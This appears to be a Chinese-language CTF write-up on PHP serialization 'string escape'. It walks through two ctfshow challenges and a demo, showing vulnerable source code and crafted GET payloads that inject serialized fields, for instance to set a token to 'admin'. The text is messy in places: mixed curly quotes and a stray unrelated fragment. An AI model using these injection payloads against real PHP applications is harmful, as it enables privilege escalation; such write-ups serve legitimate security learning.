【无标题】

php字符串逃逸（增多）

例题1 ctfshow 262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
?>

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($msg){
    return str_replace('fuck', 'loveU',$msg);
 }
    
$msg=new message('a','b','c');
$msg_1=serialize($msg);
echo($msg_1);
?>
输出：O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}  长度为44 $umsg = str_replace('fuck', 'loveU', serialize($msg));
'fuck'被替换为'loveU'长度增加1
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck(44*fuck)   ";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}（length=44）
payload:f=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}&m=1

例题1 ctfshow web1_此夜圆

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

发现我们只要将password的值设置为yu22x即可，但是接着往下看，看到了
$password=1,紧接着就开始进行序列化的操作，也就是说我们的password是已经默认为1了，我
们要做的就是将password=1替换为yu22x,看到了
“;s:8:“password”;s:5:“yu22x”;}(length=30)
'Firebasky’替换为’Firebaskyup’长度增加2
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky（15*Firebasky）
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky”;s:8:“password”;s:5:“yu22x”;}
payload=?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:“password”;s:5:“yu22x”;}

php字符串逃逸（增多）

<?php
function change($str){
    return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串：";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时，age=";
echo $new['age'];

{s:4:"name";s:2:"11";s:3:"age";s:2:"22";}"
a:3:{s:4:"name";s:27:"";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}
";s:4:"sign";s:57:"hello123
sign:eval
number:2000

?name=1&age=11 {s:4:“name”;s:1:“1”;s:3:“age”;s:2:“11”;}
";s:3:“age”;s:2:"11 (length=20)
“;s:3:“age”;s:2:“aa”;} (length=任意)
?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx（length=20）&age=11”;s:3:“age”;s:2:“aa”;}